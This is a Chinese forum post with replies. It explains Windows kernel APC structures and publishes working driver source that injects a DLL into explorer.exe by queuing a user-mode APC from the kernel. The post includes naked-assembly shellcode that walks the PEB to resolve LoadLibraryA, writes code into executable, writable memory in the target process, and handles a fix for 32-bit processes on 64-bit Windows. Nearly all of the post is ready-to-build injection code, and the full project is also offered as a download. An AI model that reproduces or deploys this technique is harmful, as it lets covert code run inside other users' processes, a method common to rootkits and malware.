x86与x64下内核APC注入源码

深白海豚

关于内核插入用户apc，简单整理了一下思路和代码，参考《windows内核情景分析》中apc的介绍。
先简单总结一下APC的一些常用知识点吧：
APC，即异步过程调用，是针对具体线程、要求由具体线程在某一时刻加以执行的函数信息集合。
所以每一个线程都有自己的APC队列，APC队列相关信息保存在KTHREAD中
dt _kthread
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
        ……
   +0x040 ApcState         : _KAPC_STATE
   +0x040 ApcStateFill     : [23] UChar
   +0x057 Priority         : Char
   +0x058 NextProcessor    : Uint4B
   +0x05c DeferredProcessor : Uint4B
   +0x060 ApcQueueLock     : Uint4B
         ……
+0x130 CallbackDepth    : Uint4B
   +0x134 ApcStateIndex    : UChar
       ……
   +0x168 ApcStatePointer  : [2] Ptr32 _KAPC_STATE
   +0x170 SavedApcState    : _KAPC_STATE
   +0x170 SavedApcStateFill : [23] UChar
   +0x187 WaitReason       : UChar
         ……
   +0x194 SuspendApc       : _KAPC
         ……
APC队列存放于结构体_KAPC_STATE中
kd> dt _KAPC_STATE
nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar
在ApcListHead就是APC的队列头，由此结构可以看出，该队列有两条，分别为内核APC队列和用户层APC队列，两个队列中的函数分别只在内核或用户空间执行。在KTHREAD中还有ApcStatePointer , SavedApcState, ApcStateIndex 这些结构，当一个进程挂靠到另一个进程时这些结构用于保存当前的APC信息ApcStateIndex代表当前前程是出于挂靠状态还是原始状态。不管是插入内核apc还是用户apc，系统都需要将一个KAPC结构挂入相应队列中
kd> dt _kapc
nt!_KAPC
   +0x000 Type             : UChar
   +0x001 SpareByte0       : UChar
   +0x002 Size             : UChar
   +0x003 SpareByte1       : UChar
   +0x004 SpareLong0       : Uint4B
   +0x008 Thread           : Ptr32 _KTHREAD
   +0x00c ApcListEntry     : _LIST_ENTRY
   +0x014 KernelRoutine    : Ptr32     void
   +0x018 RundownRoutine   : Ptr32     void
   +0x01c NormalRoutine    : Ptr32     void
   +0x020 NormalContext    : Ptr32 Void
   +0x024 SystemArgument1  : Ptr32 Void
   +0x028 SystemArgument2  : Ptr32 Void
   +0x02c ApcStateIndex    : Char
   +0x02d ApcMode          : Char
   +0x02e Inserted         : UChar
这里的NormalRoutine就是需要执行的APC函数，KernelRoutine需要用来释放apc结构，而且KernelRoutine总是会得到执行的，而且无论是内核apc还是用户apc，KernelRoutine的执行时机总是在NormalRoutine之前。
内核APC总是在用户APC之前执行，而且内核apc是在线程降低运行级别，或者进程切换时执行的，而用户APC是在线程由内核返回到用户层时得到执行的。
内核apc kernelRoutine -> 内核apc normalRoutine -> 用户apc kernelRoutine -> 用户apc normalRoutine
内核apc是一次执行队列中所有的内核apc函数（一个while循环依次执行），而用户apc则一次只执行第一项apc请求。而且用户APC的执行流程相对来说比较复杂，毛老师的书里面说的很详细。

APC注入流程：

注入的流程中，在目标进程中分配内存不要使用MDL，mdl在win7上注入系统进程崩溃，mdl没有执行权限，在xp上还行，网上有很多代码都是在这里用mdl来分配内存，那都是在xp上跑可以，win7上总是崩，记得当时刚开始玩的时候一直堵在这，知道有问题也不知道咋改-，-，就是想找个能在win7上好好跑起来的内核注入真的超级难。

shellcode：
APC注入的基本流程就是这样，另外一个重要的地方就是shellcode吧，一开始也是坑的不行。
首先，我们需要被注入的程序执行LoadLibraryA来加载我们的dll，所以，我们要先定位 LoadLibraryA的地址，正常且比较好的方法应该是找进程PEB，通过PEB找kernel32.dll的地址，然后遍历他的导出表找到 LoadLibraryA。或者你也可以找到kernel32后，用 kernel32 基址加大小直接搜 LoadLibraryA，但是这样会有死掉的风险，搜也不能整个 kernel32 大小的搜，因为有些地方是无法访问的，根据PE文件结构来看，可能是有些地址并没有映射，或者被换出之类的（猜的-,-）,这里有知道的老师帮忙解答一下吧~~。代码里我用的是比较稳妥的遍历导出表的方法，网上找了一个x86的稍作修改就可以

1. BOOLEAN get_loadlibrarya_from_kernel32_eat(char* dllPath, void* unused1, void* unused2)
   
2. {
   
3.     PVOID ulModuleBase;
   
4.     PCHAR functionName;
   
5.     WORD* arrayOfFunctionOrdinals;
   
6.     ULONG functionOrdinal;
   
7.     ULONG* arrayOfFunctionAddresses;
   
8.     ULONG* arrayOfFunctionNames;
   
9.     ULONG_PTR Base, x, functionAddress;
   
10.     PIMAGE_DOS_HEADER pDosHeader;
    
11.     PIMAGE_NT_HEADERS NtDllHeader;
    
12.     IMAGE_OPTIONAL_HEADER opthdr;
    
13.     IMAGE_EXPORT_DIRECTORY *pExportTable;
    
14. 
    
15.      __asm
    
16.      {
    
17.          pushad
    
18.          pushfd
    
19. 
    
20.          lea ecx, ulModuleBase
    
21.          mov ebx, fs:[0x30]
    
22.          mov ebx, [ebx + 0x0c]//_PEB_LDR_DATA
    
23.          mov ebx, [ebx + 0x0c]//InLoadOrderModuleList
    
24.          mov ebx, [ebx]
    
25.          mov ebx, [ebx]
    
26.          mov eax, [ebx + 0x18]//kernel32 address
    
27.          mov[ecx], eax
    
28. 
    
29.          popfd
    
30.          popad
    
31.      }
    
32. 
    
33.     pDosHeader = (PIMAGE_DOS_HEADER)ulModuleBase;//dos头
    
34.     NtDllHeader = (PIMAGE_NT_HEADERS)(ULONG_PTR)((ULONG_PTR)pDosHeader + pDosHeader->e_lfanew);//nt头
    
35.     opthdr = NtDllHeader->OptionalHeader;//pe可选镜像头
    
36.     pExportTable = (IMAGE_EXPORT_DIRECTORY*)((ULONG_PTR)ulModuleBase +
    
37.                                 opthdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    
38.     arrayOfFunctionNames = (ULONG_PTR*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames);//函数名表
    
39.     arrayOfFunctionOrdinals = (WORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals);// 函数索引号RVA
    
40.     arrayOfFunctionAddresses = (ULONG_PTR*)((ULONG_PTR)ulModuleBase + pExportTable->AddressOfFunctions);//地址表
    
41.     Base = pExportTable->Base;
    
42.     for (x = 0; x < pExportTable->NumberOfFunctions; x++) //在整个导出表里扫描
    
43.     {
    
44.         functionName = (char*)((BYTE*)ulModuleBase + arrayOfFunctionNames[x]);//函数名字
    
45.         if ('L' == *functionName && 'o' == *(functionName + 1) && 'a' == *(functionName + 2) &&
    
46.             'd' == *(functionName + 3) && 'L' == *(functionName + 4) &&
    
47.             'i' == *(functionName + 5)&& 'b' == *(functionName + 6) && 'r' == *(functionName + 7) &&
    
48.             'a' == *(functionName + 8) && 'r' == *(functionName + 9) &&
    
49.             'y' == *  (functionName + 10) && 'A' == *(functionName + 11))
    
50.         {
    
51.             functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; //函数索引号RVA[x]
    
52.             functionAddress = (ULONG_PTR)((BYTE*)ulModuleBase + arrayOfFunctionAddresses[functionOrdinal]);//函数地址
    
53.             ((LOADLIBRARYA)functionAddress)(dllPath);
    
54.             return TRUE;
    
55.         }
    
56.     }
    
57.     return FALSE;
    
58. }

复制代码

在x64上获取peb是在gs:[60h]，kernel32同样也是在第二个dll加载（exe -> ntdll ->kernel32）,上面的代码在vs里面提取shellcode就好，注意提取的时候把什么vs自带的检查都去掉(GS什么的)，提取出最纯净的代码！

以上，在x86上注入和在x64上注入64位都没有问题。但是！在64位上注入32位的时候，还是出了点问题，以注入目标进程就崩了（可以用来杀进程了= =），一试一个准。
问题出在哪里呢？
这个也是好在已经有前辈们踩过坑了一个APC引起的折腾

wow64!whNtQueueApcThread:
00000000`7477af68 4883ec38 sub rsp,38h
00000000`7477af6c 8b5104 mov edx,dword ptr [rcx+4]
00000000`7477af6f 8b4108 mov eax,dword ptr [rcx+8]
00000000`7477af72 448b490c mov r9d,dword ptr [rcx+0Ch]
00000000`7477af76 448b5110 mov r10d,dword ptr [rcx+10h]
00000000`7477af7a 486309 movsxd rcx,dword ptr [rcx]
00000000`7477af7d 4c8bc0 mov r8,rax
00000000`7477af80 48f7da neg rdx
00000000`7477af83 48c1e202 shl rdx,2
00000000`7477af87 4c89542420 mov qword ptr [rsp+20h],r10
00000000`7477af8c ff156e6cfeff call qword ptr [wow64!_imp_NtQueueApcThread (00000000`74761c00)]
00000000`7477af92 90 nop
00000000`7477af93 4883c438 add rsp,38h
00000000`7477af97 c3 ret

我对这篇文章的理解是
这个 wow64!whNtQueueApcThread应该是用户层32位程序调用 QueueUserAPC的时候会进入这个函数，在这里 whNtQueueApcThread把APC函数的地址进行了求补且左移两位，而我们在内核插入用户apc的时候，可能操作系统就默认你插入的都是64位的apc所以就不做这个地址的转换操作。So，我们在内核插入32位进程apc的时候需要我们自己来手动对apc函数地址进行求补后左移2位！

好了，上代码
apc_inject_test.c

1. #include "apc_inject_test.h"
   
2. #include "asm_export.h"
   
3. 
   
4. #ifdef ALLOC_PRAGMA
   
5. #pragma alloc_text(INIT,DriverEntry)
   
6. #pragma alloc_text(PAGE,DriverUnload)
   
7. #pragma alloc_text(PAGE,ntLoadLibraryA)
   
8. #pragma alloc_text(PAGE,WorkThreAd_Exec)
   
9. #pragma alloc_text(PAGE,uSetTheApc_Exec)
   
10. #pragma alloc_text(PAGE,KernelApcCAllBAck_Exec)
    
11. #pragma alloc_text(PAGE,find_threAd_Exec)
    
12. #endif
    
13. 
    
14. BOOLEAN
    
15. ntLoadLibraryA(
    
16.     PCHAR dllPath
    
17.     )
    
18. {
    
19.     NTSTATUS            status;
    
20.     HANDLE              hThreAd = NULL;
    
21. 
    
22.     if (strlen(dllPath) > 50)
    
23.     {
    
24.         KdPrint(("dllpath overflow\n"));
    
25.         return FALSE;
    
26.     }
    
27.     status = PsCreateSystemThread(&hThreAd,
    
28.         (ACCESS_MASK)0,
    
29.         NULL,
    
30.         (HANDLE)0,
    
31.         NULL,
    
32.         WorkThreAd_Exec,
    
33.         dllPath
    
34.         );
    
35.     if (!NT_SUCCESS(status))
    
36.     {
    
37.         KdPrint(("PsCreateSystemThread err\n"));
    
38.         return FALSE;
    
39.     }
    
40.     return TRUE;
    
41. }
    
42. 
    
43. VOID
    
44. WorkThreAd_Exec(
    
45.     IN PVOID pContext
    
46.     )
    
47. {
    
48.     POINTER         process = 0;
    
49.     POINTER         threAd = 0;
    
50.     POINTER         func_size = 0;
    
51.     POINTER         param_size = 0;
    
52.     HANDLE          hProcess = NULL;
    
53.     PKEVENT         pEvent = NULL;
    
54.     PVOID           func_address = NULL;
    
55.     PVOID           param_address = NULL;
    
56.     KAPC_STATE      ApcStAte = { 0 };
    
57.     PCHAR           dllPath = NULL;
    
58.     NTSTATUS        status = 0;
    
59. 
    
60.     dllPath = (PCHAR)pContext;
    
61.     //寻找一个进程的eprocess，和可以插入apc的线程的线程对象
    
62.     if (!find_threAd_Exec(&process, &threAd))
    
63.     {
    
64.         KdPrint(("cAnnot find the right threAd\n"));
    
65.         PsTerminateSystemThread(STATUS_SUCCESS);
    
66.     }
    
67.     //申请一个event，用来提供通知
    
68.     pEvent = ExAllocatePool(NonPagedPool, sizeof(KEVENT));
    
69.     if (!pEvent)
    
70.     {
    
71.         KdPrint(("ExAllocatePool(pEvent) fAiled\n"));
    
72.         PsTerminateSystemThread(STATUS_SUCCESS);
    
73.     }
    
74. 
    
75. #ifdef _WIN64
    
76. #ifdef INJECT_WOW64
    
77.     func_size = sizeof(shellcode);
    
78. #else
    
79.     func_size = (UCHAR*)call_loadlibrary_end - (UCHAR*)call_loadlibrary;
    
80. #endif
    
81. #else
    
82.     func_size = (UCHAR*)UserExec_end - (UCHAR*)UserExec;
    
83. #endif
    
84. 
    
85.     KdPrint(("size: %d\n", func_size));
    
86.     param_size = 50;
    
87.     status = ObOpenObjectByPointer((PVOID)process,
    
88.         OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE,
    
89.         NULL,
    
90.         GENERIC_ALL,
    
91.         *PsProcessType,
    
92.         KernelMode,
    
93.         &hProcess
    
94.         );
    
95.     if (!NT_SUCCESS(status))
    
96.     {
    
97.         KdPrint(("ObOpenObjectByPointer false :%x\n", status));
    
98.         PsTerminateSystemThread(STATUS_SUCCESS);
    
99.     }
    
100.     //使用mdl在win7上注入系统进程崩溃  mdl没有执行权限
     
101.     //看雪：MDL在NT5上还是可执行的，但是到了NT6上就不可执行了
     
102.     //ZwAllocateVirtualMemory内部有attach和detach进程操作
     
103.     //这里的内存释放的时机根据具体业务在判断吧
     
104.     status = ZwAllocateVirtualMemory(hProcess, &func_address, 0, &func_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     
105.     if (!NT_SUCCESS(status))
     
106.     {
     
107.         KdPrint(("ZwAllocateVirtualMemory false :%x\n", status));
     
108.         PsTerminateSystemThread(STATUS_SUCCESS);
     
109.     }
     
110.     status = ZwAllocateVirtualMemory(hProcess, &param_address, 0, &param_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     
111.     if (!NT_SUCCESS(status))
     
112.     {
     
113.         KdPrint(("ZwAllocateVirtualMemory false :%x\n", status));
     
114.         PsTerminateSystemThread(STATUS_SUCCESS);
     
115.     }
     
116.     //拷贝apc函数体和参数到用户地址空间
     
117.     KeStackAttachProcess((PEPROCESS)process, &ApcStAte);
     
118.     RtlZeroMemory(func_address, func_size);
     
119. 
     
120. #ifdef _WIN64
     
121. #ifdef INJECT_WOW64
     
122.     RtlCopyMemory(func_address, shellcode, func_size);
     
123. #else
     
124.     RtlCopyMemory(func_address, call_loadlibrary, func_size);
     
125. #endif
     
126. #else
     
127.     RtlCopyMemory(func_address, UserExec, func_size);
     
128. #endif
     
129. 
     
130.     RtlZeroMemory(param_address, param_size);
     
131.     RtlCopyMemory(param_address, dllPath, param_size);
     
132.     KeUnstackDetachProcess(&ApcStAte);
     
133. 
     
134.     KeInitializeEvent(pEvent, NotificationEvent, FALSE);
     
135.     //插入apc
     
136.     status = uSetTheApc_Exec(process, threAd, (POINTER)func_address, pEvent, param_address);
     
137.     if (NT_SUCCESS(status))
     
138.     {
     
139.         KeWaitForSingleObject(pEvent, Executive, KernelMode, FALSE, NULL);
     
140.         KdPrint(("apc inject success！\n"));
     
141.     }
     
142.     else
     
143.     {
     
144.         KdPrint(("apc inject failed！\n"));
     
145.     }
     
146.     ExFreePool(pEvent);
     
147.     PsTerminateSystemThread(STATUS_SUCCESS);
     
148.     KdPrint(("Never be here \n"));
     
149. }
     
150. 
     
151. NTSTATUS
     
152. uSetTheApc_Exec(
     
153.     POINTER         process,
     
154.     POINTER         threAd,
     
155.     POINTER         MAppedAddress,
     
156.     PKEVENT         pEvent,
     
157.     PCHAR           dllPath
     
158.     )
     
159. {
     
160.     PKAPC           pkApc;
     
161.     BOOLEAN         ret;
     
162.     NTSTATUS        dwStAtus = STATUS_SUCCESS;
     
163. 
     
164.     *((CHAR*)threAd + USERAPCPENDING_OFFSET) = 1;
     
165.     pkApc = ExAllocatePool(NonPagedPool, sizeof(KAPC));
     
166.     if (pkApc == NULL)
     
167.     {
     
168.         KdPrint(("error:ExAllocAtePool\n"));
     
169.         return STATUS_INSUFFICIENT_RESOURCES;
     
170.     }
     
171. 
     
172. #if defined(_WIN64) && defined(INJECT_WOW64)
     
173.     //在64位系统中插入32位用户apc时apc函数地址需要求补后左移两位
     
174.     MAppedAddress = (~MAppedAddress + 1) << 2;
     
175. #endif
     
176. 
     
177.     //初始化一个APC
     
178.     KeInitializeApc(
     
179.         pkApc,
     
180.         (PKTHREAD)threAd,
     
181.         OriginalApcEnvironment,
     
182.         (PKKERNEL_ROUTINE)KernelApcCAllBAck_Exec,
     
183.         NULL,
     
184.         (PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck,
     
185.         UserMode,   //用户模式
     
186.         (PVOID)dllPath
     
187.         );
     
188. 
     
189.     //插入apc
     
190.     ret = KeInsertQueueApc(pkApc, pEvent, 0, 0);
     
191.     if (!ret){
     
192.         KdPrint(("KeInsertQueueApc err\n"));
     
193.         return STATUS_UNSUCCESSFUL;
     
194.     }
     
195.     return STATUS_SUCCESS;
     
196. }
     
197. 
     
198. VOID
     
199. KernelApcCAllBAck_Exec(
     
200.     PKAPC Apc,
     
201.     PKNORMAL_ROUTINE *NormAlRoutine,
     
202.     IN OUT PVOID *NormAlContext,
     
203.     IN OUT PVOID *SystemArgument1,
     
204.     IN OUT PVOID *SystemArgument2
     
205.     )
     
206. {
     
207.     PKEVENT     pEvent;
     
208.     //回调得到执行的时候应该是在KiDeliverApc内部用户apc的KernelRoutine得到执行的时候,而且其实他在normalRoutine之前也就是我们的apc函数之前执行的
     
209.     KdPrint(("NormAlContext: 0x%x\n", (POINTER)*NormAlContext));
     
210.     pEvent = (PKEVENT)*SystemArgument1;
     
211.     if (pEvent)
     
212.     {
     
213.         KeSetEvent(pEvent, IO_NO_INCREMENT, FALSE);
     
214.     }
     
215.     if (Apc)
     
216.     {
     
217.         ExFreePool(Apc);
     
218.     }
     
219. }
     
220. 
     
221. //找到合适的插入目标
     
222. BOOLEAN
     
223. find_threAd_Exec(
     
224.     OUT POINTER *process,
     
225.     OUT POINTER *threAd
     
226.     )
     
227. {
     
228.     POINTER         eproc;
     
229.     POINTER         begin_proc;
     
230.     POINTER         ethreAd;
     
231.     POINTER         begin_threAd;
     
232.     PLIST_ENTRY     plist_Active_procs;
     
233.     PLIST_ENTRY     plist_threAd;
     
234. 
     
235.     //遍历进程
     
236.     eproc = (POINTER)PsGetCurrentProcess();
     
237.     if (!eproc)
     
238.     {
     
239.         return FALSE;
     
240.     }
     
241.     begin_proc = eproc;
     
242.     while (1)
     
243.     {
     
244.         //OBJECT_TABLE_OFFSET 没有句柄表就是死的进程
     
245.         if (0 == _stricmp((CHAR*)(eproc + IMAGEFILENAME_OFFSET), "explorer.exe") && (PVOID)(*(POINTER*)((char*)eproc + OBJECT_TABLE_OFFSET)) != NULL)
     
246.         {
     
247.             break;
     
248.         }
     
249.         else
     
250.         {
     
251.             plist_Active_procs = (LIST_ENTRY*)(eproc + ACTIVEPROCESSLINKS_OFFSET);
     
252.             eproc = (POINTER)plist_Active_procs->Flink;
     
253.             eproc = eproc - ACTIVEPROCESSLINKS_OFFSET;
     
254.             if (eproc == begin_proc)
     
255.             {
     
256.                 return FALSE;
     
257.             }
     
258.         }
     
259.     }
     
260.     plist_threAd = (LIST_ENTRY*)(eproc + THREADLISTHEAD_OFFSET);
     
261.     ethreAd = (POINTER)plist_threAd->Flink;
     
262.     ethreAd = ethreAd - THREADLISTENTRY_OFFSET;
     
263.     KdPrint(("threAd: 0x%x\n", ethreAd));
     
264. 
     
265.     //遍历线程
     
266.     begin_threAd = ethreAd;
     
267.     while (1){
     
268.         KdPrint(("(*(POINTER*)((POINTER)ethreAd+TCB_TEB_OFFSET): 0x%x\n", *(POINTER*)((CHAR*)ethreAd + TCB_TEB_OFFSET)));
     
269.         if ((*(POINTER*)((POINTER)ethreAd + TCB_TEB_OFFSET) != 0))
     
270.         {
     
271.             break;
     
272.         }
     
273.         else{
     
274.             plist_threAd = (LIST_ENTRY*)(ethreAd + THREADLISTENTRY_OFFSET);
     
275.             ethreAd = (POINTER)plist_threAd->Flink;
     
276.             ethreAd = ethreAd - THREADLISTENTRY_OFFSET;
     
277.             KdPrint(("ethreAd: 0x%x\n", ethreAd));
     
278.             if (ethreAd == begin_threAd)
     
279.             {
     
280.                 return FALSE;
     
281.             }
     
282.         }
     
283.     }
     
284.     *process = eproc;
     
285.     *threAd = ethreAd;
     
286.     return TRUE;
     
287. }
     
288. 
     
289. VOID
     
290. DriverUnload(
     
291.     IN PDRIVER_OBJECT DriverObject
     
292.     )
     
293. {
     
294.     if (dllPath)
     
295.     {
     
296.         ExFreePoolWithTag(dllPath, 'HTAP');
     
297.     }
     
298.     KdPrint(("DriverUnload\r\n"));
     
299. }
     
300. 
     
301. NTSTATUS
     
302. DriverEntry(
     
303.     IN PDRIVER_OBJECT DriverObject,
     
304.     IN PUNICODE_STRING pRegistryString
     
305.     )
     
306. {
     
307.     DriverObject->DriverUnload = DriverUnload;
     
308.     dllPath = ExAllocatePoolWithTag(PagedPool, 50, 'HTAP');
     
309.     if (dllPath)
     
310.     {
     
311.         RtlCopyMemory(dllPath, "C:\\dlltest32.dll", 50);
     
312.         if (ntLoadLibraryA(dllPath))
     
313.         {
     
314.             return STATUS_SUCCESS;
     
315.         }
     
316.     }
     
317.     return STATUS_UNSUCCESSFUL;
     
318. }
     
319. 
     
320. #ifndef _WIN64
     
321. __declspec(naked)
     
322. UserExec(
     
323.     PCHAR   dllPath,
     
324.     PVOID   unused1,
     
325.     PVOID   unused2
     
326.     )
     
327. {
     
328.     __asm
     
329.     {
     
330.         push        ebp
     
331.         mov         ebp, esp
     
332.         sub         esp, 150h
     
333.         push        ebx
     
334.         push        esi
     
335.         push        edi
     
336.         pushad
     
337.         pushfd
     
338.         lea         ecx, [ebp - 4]
     
339.         mov         ebx, dword ptr fs : [0x00000030]
     
340.         mov         ebx, dword ptr[ebx + 0x0C]
     
341.         mov         ebx, dword ptr[ebx + 0x0C]
     
342.         mov         ebx, dword ptr[ebx]
     
343.         mov         ebx, dword ptr[ebx]
     
344.         mov         eax, dword ptr[ebx + 18h]
     
345.         mov         dword ptr[ecx], eax
     
346.         popfd
     
347.         popad
     
348.         mov         eax, dword ptr[ebp - 4]
     
349.         mov         dword ptr[ebp - 28h], eax
     
350.         mov         eax, dword ptr[ebp - 28h]
     
351.         mov         ecx, dword ptr[ebp - 28h]
     
352.         add         ecx, dword ptr[eax + 3Ch]
     
353.         mov         dword ptr[ebp - 2Ch], ecx
     
354.         mov         esi, dword ptr[ebp - 2Ch]
     
355.         add         esi, 18h
     
356.         mov         ecx, 38h
     
357.         lea         edi, [ebp + 0xFFFFFEF4]
     
358.         rep movs    dword ptr es : [edi], dword ptr[esi]
     
359.         mov         eax, 8
     
360.         imul        ecx, eax, 0
     
361.         mov         edx, dword ptr[ebp - 4]
     
362.         add         edx, dword ptr[ebp + ecx + 0xFFFFFF54]
     
363.         mov         dword ptr[ebp + 0xFFFFFEF0], edx
     
364.         mov         eax, dword ptr[ebp + 0xFFFFFEF0]
     
365.         mov         ecx, dword ptr[ebp - 4]
     
366.         add         ecx, dword ptr[eax + 20h]
     
367.         mov         dword ptr[ebp - 18h], ecx
     
368.         mov         eax, dword ptr[ebp + 0xFFFFFEF0]
     
369.         mov         ecx, dword ptr[ebp - 4]
     
370.         add         ecx, dword ptr[eax + 24h]
     
371.         mov         dword ptr[ebp - 0Ch], ecx
     
372.         mov         eax, dword ptr[ebp + 0xFFFFFEF0]
     
373.         mov         ecx, dword ptr[ebp - 4]
     
374.         add         ecx, dword ptr[eax + 1Ch]
     
375.         mov         dword ptr[ebp - 14h], ecx
     
376.         mov         eax, dword ptr[ebp + 0xFFFFFEF0]
     
377.         mov         ecx, dword ptr[eax + 10h]
     
378.         mov         dword ptr[ebp - 1Ch], ecx
     
379.         mov         dword ptr[ebp - 20h], 0
     
380.         jmp         s1
     
381.     s5 :
     
382.         mov         eax, dword ptr[ebp - 20h]
     
383.         add         eax, 1
     
384.         mov         dword ptr[ebp - 20h], eax
     
385.     s1 :
     
386.         mov         eax, dword ptr[ebp + 0xFFFFFEF0]
     
387.         mov         ecx, dword ptr[ebp - 20h]
     
388.         cmp         ecx, dword ptr[eax + 14h]
     
389.         jae         s2
     
390.         mov         eax, dword ptr[ebp - 20h]
     
391.         mov         ecx, dword ptr[ebp - 18h]
     
392.         mov         edx, dword ptr[ebp - 4]
     
393.         add         edx, dword ptr[ecx + eax * 4]
     
394.         mov         dword ptr[ebp - 8], edx
     
395.         mov         eax, dword ptr[ebp - 8]
     
396.         movsx       ecx, byte ptr[eax]
     
397.         cmp         ecx, 4Ch
     
398.         jne         s3
     
399.         mov         eax, dword ptr[ebp - 8]
     
400.         movsx       ecx, byte ptr[eax + 1]
     
401.         cmp         ecx, 6Fh
     
402.         jne         s3
     
403.         mov         eax, dword ptr[ebp - 8]
     
404.         movsx       ecx, byte ptr[eax + 2]
     
405.         cmp         ecx, 61h
     
406.         jne         s3
     
407.         mov         eax, dword ptr[ebp - 8]
     
408.         movsx       ecx, byte ptr[eax + 3]
     
409.         cmp         ecx, 64h
     
410.         jne         s3
     
411.         mov         eax, dword ptr[ebp - 8]
     
412.         movsx       ecx, byte ptr[eax + 4]
     
413.         cmp         ecx, 4Ch
     
414.         jne         s3
     
415.         mov         eax, dword ptr[ebp - 8]
     
416.         movsx       ecx, byte ptr[eax + 5]
     
417.         cmp         ecx, 69h
     
418.         jne         s3
     
419.         mov         eax, dword ptr[ebp - 8]
     
420.         movsx       ecx, byte ptr[eax + 6]
     
421.         cmp         ecx, 62h
     
422.         jne         s3
     
423.         mov         eax, dword ptr[ebp - 8]
     
424.         movsx       ecx, byte ptr[eax + 7]
     
425.         cmp         ecx, 72h
     
426.         jne         s3
     
427.         mov         eax, dword ptr[ebp - 8]
     
428.         movsx       ecx, byte ptr[eax + 8]
     
429.         cmp         ecx, 61h
     
430.         jne         s3
     
431.         mov         eax, dword ptr[ebp - 8]
     
432.         movsx       ecx, byte ptr[eax + 9]
     
433.         cmp         ecx, 72h
     
434.         jne         s3
     
435.         mov         eax, dword ptr[ebp - 8]
     
436.         movsx       ecx, byte ptr[eax + 0Ah]
     
437.         cmp         ecx, 79h
     
438.         jne         s3
     
439.         mov         eax, dword ptr[ebp - 8]
     
440.         movsx       ecx, byte ptr[eax + 0Bh]
     
441.         cmp         ecx, 41h
     
442.         jne         s3
     
443.         mov         eax, dword ptr[ebp - 20h]
     
444.         mov         ecx, dword ptr[ebp - 0Ch]
     
445.         movzx       edx, word ptr[ecx + eax * 2]
     
446.         mov         eax, dword ptr[ebp - 1Ch]
     
447.         lea         ecx, [edx + eax - 1]
     
448.         mov         dword ptr[ebp - 10h], ecx
     
449.         mov         eax, dword ptr[ebp - 10h]
     
450.         mov         ecx, dword ptr[ebp - 14h]
     
451.         mov         edx, dword ptr[ebp - 4]
     
452.         add         edx, dword ptr[ecx + eax * 4]
     
453.         mov         dword ptr[ebp - 24h], edx
     
454.         mov         eax, dword ptr[ebp + 8]
     
455.         push        eax
     
456.         call        dword ptr[ebp - 24h]
     
457.         mov         al, 1
     
458.         jmp         s4
     
459.     s3 :
     
460.         jmp         s5
     
461.     s2 :
     
462.         xor         al, al
     
463.     s4 :
     
464.         pop         edi
     
465.         pop         esi
     
466.         pop         ebx
     
467.         mov         esp, ebp
     
468.         pop         ebp
     
469.         ret
     
470.     }
     
471. }
     
472. __declspec(naked)
     
473. UserExec_end(VOID)
     
474. {
     
475. 
     
476. }
     
477. #endif

复制代码

附件里的项目是在vs2013+wdk7600下开发，在xp，win7 32和64上自测注入explorer没有问题。
思路和方法上应该还有很多可以改进的地方，但是就目前我这点水平来说也看不出来什么花了，也希望大家多多指教。。

x86与x64下内核APC注入.zip (12.66 KB, 下载次数: 176, 售价: 5 流星币)

2018-2-27 12:41 上传

点击文件名下载附件

srf07

看看 64能用不

srf07

看看 64能用不

srf07

看看 64能用不

srf07

看看 64能用不

srf07

我日 下载购买5个逼 下载1个逼 够黑

teng66

感谢楼主分享，下载看看

a2251a1

楼主分享，下载看看

a2251a1

楼主分享，下载看看

a2251a1

楼主分享，下载看看